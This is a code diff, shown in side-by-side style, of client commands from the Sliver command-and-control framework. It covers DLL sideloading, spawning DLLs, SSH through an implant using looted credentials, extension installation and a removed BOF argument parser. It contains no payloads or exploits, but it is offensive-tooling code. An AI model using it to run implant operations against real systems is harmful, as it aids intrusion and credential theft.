func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func SideloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
} }
if len(args) < 1 {
cmd.Usage()
return
}
binPath := args[0] binPath := args[0]
var binArgs []string binArgs := strings.Join(args[1:], " ")
if len(args) > 1 {
binArgs = args[1:]
}
entryPoint, _ := cmd.Flags().GetString("entry-point") entryPoint, _ := cmd.Flags().GetString("entry-point")
processName, _ := cmd.Flags().GetString("process") processName, _ := cmd.Flags().GetString("process")
@@ -65,7 +59,7 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
processArgs := strings.Split(processArgsStr, " ") processArgs := strings.Split(processArgsStr, " ")
isDLL := (filepath.Ext(binPath) == ".dll") isDLL := (filepath.Ext(binPath) == ".dll")
ctrl := make(chan bool) ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s %v...", binPath, binArgs), ctrl) con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{ sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveTarget.Request(cmd), Request: con.ActiveTarget.Request(cmd),
Args: binArgs, Args: binArgs,
@@ -102,7 +96,7 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
} }
} }
func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) { func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
saveLoot, _ := cmd.Flags().GetBool("loot") saveLoot, _ := cmd.Flags().GetBool("loot")
lootName, _ := cmd.Flags().GetString("name") lootName, _ := cmd.Flags().GetString("name")
+9 -9
View File
@@ -22,25 +22,25 @@ import (
"context" "context"
"fmt" "fmt"
"os" "os"
"strings"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
) )
// SpawnDllCmd - Spawn execution of a DLL on the remote system. // SpawnDllCmd - Spawn execution of a DLL on the remote system
func SpawnDllCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func SpawnDllCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
} }
binPath := args[0] binPath := args[0]
var dllArgs []string dllArgs := strings.Join(args[1:], " ")
if len(args) > 1 {
dllArgs = args[1:]
}
processName, _ := cmd.Flags().GetString("process") processName, _ := cmd.Flags().GetString("process")
exportName, _ := cmd.Flags().GetString("export") exportName, _ := cmd.Flags().GetString("export")
@@ -85,7 +85,7 @@ func SpawnDllCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
} }
} }
func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) { func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
saveLoot, _ := cmd.Flags().GetBool("loot") saveLoot, _ := cmd.Flags().GetBool("loot")
lootName, _ := cmd.Flags().GetString("name") lootName, _ := cmd.Flags().GetString("name")
+8 -7
View File
@@ -24,15 +24,16 @@ import (
"strings" "strings"
"github.com/AlecAivazis/survey/v2" "github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
) )
// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out). // SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
func SSHCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func SSHCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var ( var (
privKey []byte privKey []byte
err error err error
@@ -119,8 +120,8 @@ func SSHCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
} }
} }
// PrintSSHCmd - Print the ssh command response. // PrintSSHCmd - Print the ssh command response
func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverClient) { func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient) {
if sshCmd.Response != nil && sshCmd.Response.Err != "" { if sshCmd.Response != nil && sshCmd.Response.Err != "" {
con.PrintErrorf("Error: %s\n", sshCmd.Response.Err) con.PrintErrorf("Error: %s\n", sshCmd.Response.Err)
if sshCmd.StdErr != "" { if sshCmd.StdErr != "" {
@@ -138,7 +139,7 @@ func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverClient) {
} }
} }
func tryCredsFromLoot(con *console.SliverClient) (string, string, []byte) { func tryCredsFromLoot(con *console.SliverConsoleClient) (string, string, []byte) {
var ( var (
username string username string
password string password string
+2 -15
View File
@@ -25,13 +25,12 @@ import (
"github.com/AlecAivazis/survey/v2" "github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/spf13/cobra" "github.com/spf13/cobra"
) )
// ExitCmd - Exit the console. // ExitCmd - Exit the console
func ExitCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func ExitCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
fmt.Println("Exiting...") fmt.Println("Exiting...")
if con.IsServer { if con.IsServer {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
@@ -54,15 +53,3 @@ func ExitCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
} }
os.Exit(0) os.Exit(0)
} }
// Commands returns the `exit` command.
func Command(con *console.SliverClient) []*cobra.Command {
return []*cobra.Command{{
Use: "exit",
Short: "Exit the program",
Run: func(cmd *cobra.Command, args []string) {
ExitCmd(cmd, con, args)
},
GroupID: constants.GenericHelpGroup,
}}
}
-413
View File
@@ -1,413 +0,0 @@
package extensions
import (
"bytes"
"flag"
"fmt"
"os"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/core"
"github.com/spf13/cobra"
)
// ParseFlagArgumentsToBuffer parses flag-style arguments based on extension manifest
// and converts them to a BOF-compatible binary buffer
func ParseFlagArgumentsToBuffer(_ *cobra.Command, args []string, _ string, ext *ExtCommand) ([]byte, error) {
// Create a flag set and parse the arguments
fs, stringValues, wstringValues, intValues, shortValues, fileValues, err := bofSetupAndParseFlags(args, ext)
if err != nil {
return nil, err
}
// Print debug information about parsed flags
//bofDebugPrintParsedFlags(fs, ext, stringValues, wstringValues, intValues, shortValues, fileValues)
// Initialize the BOF arguments buffer
argsBuffer := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
// Process arguments and build the buffer
missingRequiredArgs, err := bofProcessArgumentsToBuffer(fs, ext, argsBuffer,
stringValues, wstringValues, intValues, shortValues, fileValues)
if err != nil {
return nil, err
}
// Return error if we have missing required arguments
if len(missingRequiredArgs) > 0 {
return nil, fmt.Errorf("required arguments %s were not provided", strings.Join(missingRequiredArgs, ", "))
}
// Get the final binary buffer
parsedArgs, err := argsBuffer.GetBuffer()
if err != nil {
return nil, fmt.Errorf("failed to get buffer: %v", err)
}
return parsedArgs, nil
}
// bofSetupAndParseFlags creates a flag set, defines expected flags based on the extension manifest,
// and parses the provided arguments
func bofSetupAndParseFlags(args []string, ext *ExtCommand) (*flag.FlagSet,
map[string]*string, map[string]*string, map[string]*int, map[string]*int, map[string]*string, error) {
// Create a new FlagSet
fs := flag.NewFlagSet("sliver-bof", flag.ContinueOnError)
// Maps to store flag value pointers
stringValues := make(map[string]*string)
intValues := make(map[string]*int)
shortValues := make(map[string]*int)
fileValues := make(map[string]*string) // Path to file data
wstringValues := make(map[string]*string)
// Define expected flags based on manifest arguments
for _, arg := range ext.Arguments {
flagName := arg.Name
flagDesc := arg.Desc
switch arg.Type {
case "string":
stringValues[flagName] = fs.String(flagName, "", flagDesc)
case "wstring":
wstringValues[flagName] = fs.String(flagName, "", flagDesc)
case "int", "integer":
intValues[flagName] = fs.Int(flagName, 0, flagDesc)
case "short":
shortValues[flagName] = fs.Int(flagName, 0, flagDesc)
case "file":
fileValues[flagName] = fs.String(flagName, "", flagDesc)
default:
return nil, nil, nil, nil, nil, nil, fmt.Errorf("unsupported argument type: %s", arg.Type)
}
}
// Parse the arguments
if err := fs.Parse(args); err != nil {
return nil, nil, nil, nil, nil, nil, err
}
return fs, stringValues, wstringValues, intValues, shortValues, fileValues, nil
}
// bofProcessArgumentsToBuffer processes each argument and adds its value to the buffer
// Returns a list of missing required arguments and any error encountered
func bofProcessArgumentsToBuffer(fs *flag.FlagSet, ext *ExtCommand, argsBuffer core.BOFArgsBuffer,
stringValues, wstringValues map[string]*string,
intValues, shortValues map[string]*int,
fileValues map[string]*string) ([]string, error) {
missingRequiredArgs := make([]string, 0)
for _, argDef := range ext.Arguments {
var provided bool
var err error
// Process based on argument type
switch argDef.Type {
case "string":
provided, err = bofProcessStringArg(fs, argDef, stringValues, argsBuffer)
case "wstring":
provided, err = bofProcessWStringArg(fs, argDef, wstringValues, argsBuffer)
case "int", "integer":
provided, err = bofProcessIntArg(fs, argDef, intValues, argsBuffer)
case "short":
provided, err = bofProcessShortArg(fs, argDef, shortValues, argsBuffer)
case "file":
provided, err = bofProcessFileArg(fs, argDef, fileValues, argsBuffer)
}
if err != nil {
return nil, err
}
// If argument not provided, handle according to rules
if !provided {
if argDef.Optional {
// Try to apply default or type-appropriate zero value
err = bofApplyDefaultValue(argDef, argsBuffer)
if err != nil {
return nil, err
}
} else {
// Required argument was not provided
missingRequiredArgs = append(missingRequiredArgs, "`"+argDef.Name+"`")
}
}
}
return missingRequiredArgs, nil
}
// bofProcessStringArg processes a string argument
func bofProcessStringArg(fs *flag.FlagSet, argDef *extensionArgument, stringValues map[string]*string,
argsBuffer core.BOFArgsBuffer) (bool, error) {
ptr := stringValues[argDef.Name]
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
if flagWasSet {
err := argsBuffer.AddString(*ptr)
if err != nil {
return false, fmt.Errorf("failed to add string argument %s: %v", argDef.Name, err)
}
return true, nil
}
return false, nil
}
// bofProcessWStringArg processes a wide string argument
func bofProcessWStringArg(fs *flag.FlagSet, argDef *extensionArgument, wstringValues map[string]*string,
argsBuffer core.BOFArgsBuffer) (bool, error) {
ptr := wstringValues[argDef.Name]
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
if flagWasSet {
err := argsBuffer.AddWString(*ptr)
if err != nil {
return false, fmt.Errorf("failed to add wstring argument %s: %v", argDef.Name, err)
}
return true, nil
}
return false, nil
}
// bofProcessIntArg processes an integer argument
func bofProcessIntArg(fs *flag.FlagSet, argDef *extensionArgument, intValues map[string]*int,
argsBuffer core.BOFArgsBuffer) (bool, error) {
ptr := intValues[argDef.Name]
flagWasSet := bofFlagWasProvided(fs, argDef.Name)
if flagWasSet {
err := argsBuffer.AddInt(uint32(*ptr))
if err != nil {
return false, fmt.Errorf("failed to add int argument %s: %v", argDef.Name, err)
}
return true, nil
}
return false, nil
}
// bofProcessShortArg processes a short integer argument
func bofProcessShortArg(fs *flag.FlagSet, argDef *extensionArgument, shortValues map[string]*int,
argsBuffer core.BOFArgsBuffer) (bool, error) {
ptr := shortValues[argDef.Name]
flagWasSet := bofFlagWasProvided(fs, argDef.Name)
if flagWasSet {
err := argsBuffer.AddShort(uint16(*ptr))
if err != nil {
return false, fmt.Errorf("failed to add short argument %s: %v", argDef.Name, err)
}
return true, nil
}
return false, nil
}
// bofProcessFileArg processes a file argument
func bofProcessFileArg(fs *flag.FlagSet, argDef *extensionArgument, fileValues map[string]*string,
argsBuffer core.BOFArgsBuffer) (bool, error) {
ptr := fileValues[argDef.Name]
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
if flagWasSet {
// Validate file exists and read it
data, err := os.ReadFile(*ptr)
if err != nil {
return false, fmt.Errorf("error reading file for argument %s: %v", argDef.Name, err)
}
err = argsBuffer.AddData(data)
if err != nil {
return false, fmt.Errorf("failed to add file data for argument %s: %v", argDef.Name, err)
}
return true, nil
}
return false, nil
}
// bofApplyDefaultValue applies a default value based on the argument definition
func bofApplyDefaultValue(argDef *extensionArgument, argsBuffer core.BOFArgsBuffer) error {
// Try to use default value from manifest if available
if argDef.Default != nil {
switch argDef.Type {
case "string":
// Handle string default - could be string literal or numeric in JSON
defaultVal, ok := argDef.Default.(string)
if !ok {
// Try to convert from other types
defaultVal = fmt.Sprintf("%v", argDef.Default)
}
err := argsBuffer.AddString(defaultVal)
if err != nil {
return fmt.Errorf("failed to add default string: %v", err)
}
fmt.Printf(" -%s:%s (default)\n", argDef.Name, defaultVal)
case "wstring":
// Handle wstring default
defaultVal, ok := argDef.Default.(string)
if !ok {
defaultVal = fmt.Sprintf("%v", argDef.Default)
}
err := argsBuffer.AddWString(defaultVal)
if err != nil {
return fmt.Errorf("failed to add default wstring: %v", err)
}
fmt.Printf(" -%s:%s (default)\n", argDef.Name, defaultVal)
case "int", "integer":
// Handle int default - could be number or string in JSON
var defaultInt uint32
// Try as number first
numVal, ok := argDef.Default.(float64) // JSON unmarshals numbers as float64
if ok {
defaultInt = uint32(numVal)
} else {
// Try as string
strVal, ok := argDef.Default.(string)
if ok {
val, err := strconv.ParseUint(strVal, 10, 32)
if err == nil {
defaultInt = uint32(val)
}
}
}
err := argsBuffer.AddInt(defaultInt)
if err != nil {
return fmt.Errorf("failed to add default int: %v", err)
}
fmt.Printf(" -%s:%d (default)\n", argDef.Name, defaultInt)
case "short":
// Handle short default - could be number or string in JSON
var defaultShort uint16
// Try as number first
numVal, ok := argDef.Default.(float64) // JSON unmarshals numbers as float64
if ok {
defaultShort = uint16(numVal)
} else {
// Try as string
strVal, ok := argDef.Default.(string)
if ok {
val, err := strconv.ParseUint(strVal, 10, 16)
if err == nil {
defaultShort = uint16(val)
}
}
}
err := argsBuffer.AddShort(defaultShort)
if err != nil {
return fmt.Errorf("failed to add default short: %v", err)
}
fmt.Printf(" -%s:%d (default)\n", argDef.Name, defaultShort)
case "file":
// Default for file doesn't really make sense, but handle for completeness
err := argsBuffer.AddData([]byte{})
if err != nil {
return fmt.Errorf("failed to add default file data: %v", err)
}
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
}
} else {
// No default specified in manifest, use type-appropriate zero values
switch argDef.Type {
case "string":
err := argsBuffer.AddString("")
if err != nil {
return fmt.Errorf("failed to add default string: %v", err)
}
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
case "wstring":
err := argsBuffer.AddWString("")
if err != nil {
return fmt.Errorf("failed to add default wstring: %v", err)
}
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
case "int", "integer":
err := argsBuffer.AddInt(0)
if err != nil {
return fmt.Errorf("failed to add default int: %v", err)
}
fmt.Printf(" -%s:0 (default)\n", argDef.Name)
case "short":
err := argsBuffer.AddShort(0)
if err != nil {
return fmt.Errorf("failed to add default short: %v", err)
}
fmt.Printf(" -%s:0 (default)\n", argDef.Name)
case "file":
// Empty data for optional file
err := argsBuffer.AddData([]byte{})
if err != nil {
return fmt.Errorf("failed to add default file data: %v", err)
}
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
}
}
return nil
}
// bofDebugPrintParsedFlags prints information about the parsed flags
func bofDebugPrintParsedFlags(fs *flag.FlagSet, ext *ExtCommand,
stringValues map[string]*string,
wstringValues map[string]*string,
intValues map[string]*int,
shortValues map[string]*int,
fileValues map[string]*string) {
fmt.Println("parsed flags:")
for _, arg := range ext.Arguments {
flagName := arg.Name
wasProvided := bofFlagWasProvided(fs, flagName)
if wasProvided {
switch arg.Type {
case "string":
fmt.Printf(" -%s:%s\n", flagName, *stringValues[flagName])
case "wstring":
fmt.Printf(" -%s:%s\n", flagName, *wstringValues[flagName])
case "int", "integer":
fmt.Printf(" -%s:%d\n", flagName, *intValues[flagName])
case "short":
fmt.Printf(" -%s:%d\n", flagName, *shortValues[flagName])
case "file":
fmt.Printf(" -%s:%s\n", flagName, *fileValues[flagName])
}
}
}
}
// bofFlagWasProvided checks if a flag was explicitly set
func bofFlagWasProvided(fs *flag.FlagSet, name string) bool {
provided := false
fs.Visit(func(f *flag.Flag) {
if f.Name == name {
provided = true
}
})
return provided
}
-89
View File
@@ -1,89 +0,0 @@
package extensions
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the 'extensions' command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
extensionCmd := &cobra.Command{
Use: consts.ExtensionsStr,
Short: "Manage extensions",
Long: help.GetHelpFor([]string{consts.ExtensionsStr}),
GroupID: consts.GenericHelpGroup,
Run: func(cmd *cobra.Command, _ []string) {
ExtensionsCmd(cmd, con)
},
}
extensionLoadCmd := &cobra.Command{
Use: consts.LoadStr,
Short: "Temporarily load an extension from a local directory",
Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.LoadStr}),
Run: func(cmd *cobra.Command, args []string) {
ExtensionLoadCmd(cmd, con, args)
},
}
extensionCmd.AddCommand(extensionLoadCmd)
carapace.Gen(extensionLoadCmd).PositionalCompletion(carapace.ActionDirectories().Usage("path to the extension directory"))
extensionInstallCmd := &cobra.Command{
Use: consts.InstallStr,
Short: "Install an extension from a local directory or .tar.gz file",
Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.InstallStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
ExtensionsInstallCmd(cmd, con, args)
},
}
extensionCmd.AddCommand(extensionInstallCmd)
carapace.Gen(extensionInstallCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to the extension .tar.gz or directory"))
extensionRmCmd := &cobra.Command{
Use: consts.RmStr,
Short: "Remove an installed extension",
Args: cobra.ExactArgs(1),
Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.RmStr}),
Run: func(cmd *cobra.Command, args []string) {
ExtensionsRemoveCmd(cmd, con, args)
},
}
extensionCmd.AddCommand(extensionRmCmd)
carapace.Gen(extensionRmCmd).PositionalCompletion(ExtensionsCommandNameCompleter(con).Usage("the command name of the extension to remove"))
return []*cobra.Command{extensionCmd}
}
func SliverCommands(con *console.SliverClient) []*cobra.Command {
extensionCmd := &cobra.Command{
Use: consts.ExtensionsStr,
Short: "Manage extensions",
Long: help.GetHelpFor([]string{consts.ExtensionsStr}),
GroupID: consts.InfoHelpGroup,
Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), // restrict to session targets since we cannot `list` "loaded" extensions from beacon mode
}
listCmd := &cobra.Command{
Use: consts.ListStr,
Short: "List extensions loaded in the current session",
Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}),
Run: func(cmd *cobra.Command, args []string) {
ExtensionsListCmd(cmd, con, args)
},
}
flags.Bind("use", false, listCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
extensionCmd.AddCommand(listCmd)
carapace.Gen(listCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con))
return []*cobra.Command{extensionCmd}
}
+13 -57
View File
@@ -22,29 +22,29 @@ import (
"encoding/json" "encoding/json"
"fmt" "fmt"
"os" "os"
"path/filepath"
"strings" "strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table" "github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text" "github.com/jedib0t/go-pretty/v6/text"
"github.com/rsteube/carapace" "github.com/rsteube/carapace"
"github.com/spf13/cobra" "github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
) )
// ExtensionsCmd - List information about installed extensions. // ExtensionsCmd - List information about installed extensions
func ExtensionsCmd(cmd *cobra.Command, con *console.SliverClient) { func ExtensionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient) {
if len(GetAllExtensionManifests()) > 0 { if 0 < len(getInstalledManifests()) {
PrintExtensions(con) PrintExtensions(con)
} else { } else {
con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n") con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
} }
} }
// PrintExtensions - Print a list of loaded extensions. // PrintExtensions - Print a list of loaded extensions
func PrintExtensions(con *console.SliverClient) { func PrintExtensions(con *console.SliverConsoleClient) {
tw := table.NewWriter() tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con)) tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{ tw.AppendHeader(table.Row{
@@ -68,12 +68,8 @@ func PrintExtensions(con *console.SliverClient) {
for _, extension := range loadedExtensions { for _, extension := range loadedExtensions {
//for _, extension := range extensionm.ExtCommand { //for _, extension := range extensionm.ExtCommand {
installed := "" installed := ""
//if _, ok := installedManifests[extension.Manifest.Name]; ok { if _, ok := installedManifests[extension.Manifest.Name]; ok {
for _, installedManifest := range installedManifests { installed = "✅"
if extension.Manifest.RootPath == installedManifest.RootPath {
installed = "✅"
break
}
} }
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
extension.Manifest.Name, extension.Manifest.Name,
@@ -102,9 +98,6 @@ func extensionPlatforms(extension *ExtCommand) []string {
return keys return keys
} }
// getInstalledManifests - Returns a mapping of extension names to their parsed manifest objects.
// Reads all installed extension manifests from disk, ignoring any that cannot be read or parsed.
// The returned manifests have their RootPath set to the directory containing their manifest file.
func getInstalledManifests() map[string]*ExtensionManifest { func getInstalledManifests() map[string]*ExtensionManifest {
manifestPaths := assets.GetInstalledExtensionManifests() manifestPaths := assets.GetInstalledExtensionManifests()
installedManifests := map[string]*ExtensionManifest{} installedManifests := map[string]*ExtensionManifest{}
@@ -118,50 +111,13 @@ func getInstalledManifests() map[string]*ExtensionManifest {
if err != nil { if err != nil {
continue continue
} }
manifest.RootPath = filepath.Dir(manifestPath)
installedManifests[manifest.Name] = manifest installedManifests[manifest.Name] = manifest
} }
return installedManifests return installedManifests
} }
// getTemporarilyLoadedManifests returns a map of extension manifests that are currently // ExtensionsCommandNameCompleter - Completer for installed extensions command names
// loaded into memory but not permanently installed. The map is keyed by the manifest's func ExtensionsCommandNameCompleter(con *console.SliverConsoleClient) carapace.Action {
// Name field.
func getTemporarilyLoadedManifests() map[string]*ExtensionManifest {
tempManifests := map[string]*ExtensionManifest{}
for name, manifest := range loadedManifests {
tempManifests[name] = manifest
}
return tempManifests
}
// GetAllExtensionManifests returns a combined list of manifest file paths from
// both installed and temporarily loaded extensions
func GetAllExtensionManifests() []string {
manifestPaths := make(map[string]struct{}) // use map for deduplication
// Add installed manifests
for _, manifest := range getInstalledManifests() {
manifestPath := filepath.Join(manifest.RootPath, ManifestFileName)
manifestPaths[manifestPath] = struct{}{}
}
// Add temporarily loaded manifests
for _, manifest := range getTemporarilyLoadedManifests() {
manifestPath := filepath.Join(manifest.RootPath, ManifestFileName)
manifestPaths[manifestPath] = struct{}{}
}
// Convert to slice
paths := make([]string, 0, len(manifestPaths))
for path := range manifestPaths {
paths = append(paths, path)
}
return paths
}
// ExtensionsCommandNameCompleter - Completer for installed extensions command names.
func ExtensionsCommandNameCompleter(con *console.SliverClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
//installedManifests := getInstalledManifests() //installedManifests := getInstalledManifests()
results := []string{} results := []string{}
+17 -40
View File
@@ -25,14 +25,15 @@ import (
"strings" "strings"
"github.com/AlecAivazis/survey/v2" "github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util" "github.com/bishopfox/sliver/util"
"github.com/spf13/cobra"
) )
// ExtensionsInstallCmd - Install an extension. // ExtensionsInstallCmd - Install an extension
func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
extLocalPath := args[0] extLocalPath := args[0]
_, err := os.Stat(extLocalPath) _, err := os.Stat(extLocalPath)
@@ -40,26 +41,11 @@ func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath) con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
return return
} }
InstallFromDir(extLocalPath, true, con, strings.HasSuffix(extLocalPath, ".tar.gz")) InstallFromDir(extLocalPath, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
} }
// InstallFromDir installs a Sliver extension from either a local directory or gzipped archive. // Install an extension from a directory
// It reads the extension manifest, validates it, and copies all required files to the extensions func InstallFromDir(extLocalPath string, con *console.SliverConsoleClient, isGz bool) {
// directory. If an extension with the same name already exists, it can optionally prompt for
// overwrite confirmation.
//
// Parameters:
// - extLocalPath: Path to the source directory or gzipped archive containing the extension
// - promptToOverwrite: If true, prompts for confirmation before overwriting existing extension
// - con: Sliver console client for displaying status and error messages
// - isGz: Whether the source is a gzipped archive (true) or directory (false)
//
// The function will return early with error messages printed to console if:
// - The manifest cannot be read or parsed
// - Required directories cannot be created
// - File copy operations fail
// - User declines overwrite when prompted
func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.SliverClient, isGz bool) {
var manifestData []byte var manifestData []byte
var err error var err error
@@ -79,24 +65,15 @@ func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.Sl
return return
} }
// Use package name if available, otherwise use extension name
// (Note, for v1 manifests this will actually be command_name)
packageID := manifestF.Name
if manifestF.PackageName != "" {
packageID = manifestF.PackageName
}
//create repo path //create repo path
minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(packageID)) minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestF.Name))
if _, err := os.Stat(minstallPath); !os.IsNotExist(err) { if _, err := os.Stat(minstallPath); !os.IsNotExist(err) {
if promptToOverwrite { con.PrintInfof("Extension '%s' already exists", manifestF.Name)
con.PrintInfof("Extension '%s' already exists", manifestF.Name) confirm := false
confirm := false prompt := &survey.Confirm{Message: "Overwrite current install?"}
prompt := &survey.Confirm{Message: "Overwrite current install?"} survey.AskOne(prompt, &confirm)
survey.AskOne(prompt, &confirm) if !confirm {
if !confirm { return
return
}
} }
forceRemoveAll(minstallPath) forceRemoveAll(minstallPath)
} }
@@ -118,7 +95,7 @@ func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.Sl
for _, manifestFile := range manifest.Files { for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" { if manifestFile.Path != "" {
if isGz { if isGz {
err = installArtifact(extLocalPath, installPath, manifestFile.Path) err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
} else { } else {
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path)) src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path)) dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
@@ -130,7 +107,7 @@ func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.Sl
} }
err = util.CopyFile(src, dst) err = util.CopyFile(src, dst)
if err != nil { if err != nil {
err = fmt.Errorf("error copying file '%s' -> '%s': %s", src, dst, err) err = fmt.Errorf("error copying file '%s' -> '%s': %s\n", src, dst, err)
} }
} }
if err != nil { if err != nil {
@@ -143,7 +120,7 @@ func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.Sl
} }
} }
func installArtifact(extGzFilePath string, installPath string, artifactPath string) error { func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+filepath.ToSlash(artifactPath)) data, err := util.ReadFileFromTarGz(extGzFilePath, "."+filepath.ToSlash(artifactPath))
if err != nil { if err != nil {
return err return err
+9 -109
View File
@@ -20,113 +20,15 @@ package extensions
import ( import (
"context" "context"
"crypto/sha256"
"encoding/hex"
"os"
"path/filepath"
"slices"
"github.com/bishopfox/sliver/client/command/settings" "github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
